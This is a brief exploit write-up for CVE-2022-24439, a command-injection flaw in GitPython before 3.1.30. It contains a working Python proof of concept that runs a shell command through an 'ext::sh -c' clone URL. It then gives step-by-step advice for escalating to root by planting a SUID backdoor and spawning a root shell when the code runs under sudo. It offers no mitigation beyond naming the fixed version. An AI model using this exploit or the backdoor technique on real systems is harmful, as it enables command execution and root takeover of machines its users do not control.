Summery

CVE-2022-24439 is a remote code execution (RCE) vulnerability in GitPython versions before 3.1.30.

Affected versions
GitPython versions before 3.1.30

Exploit

Proof of concept looks like this:

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

The important part is ext::sh -c touch% /tmp/pwned which is the command argument you specify. If it’s ran with sudo, you can make a SUID backdoor file locally (for example with echo, remember to make it executable) and run it with ext::sh -c /tmp/payload.sh which will execute it as root, creating the shell.sh file as root. Then you can execute it with ./shell.sh or ./shell -p depending on the present shell.

References

PoC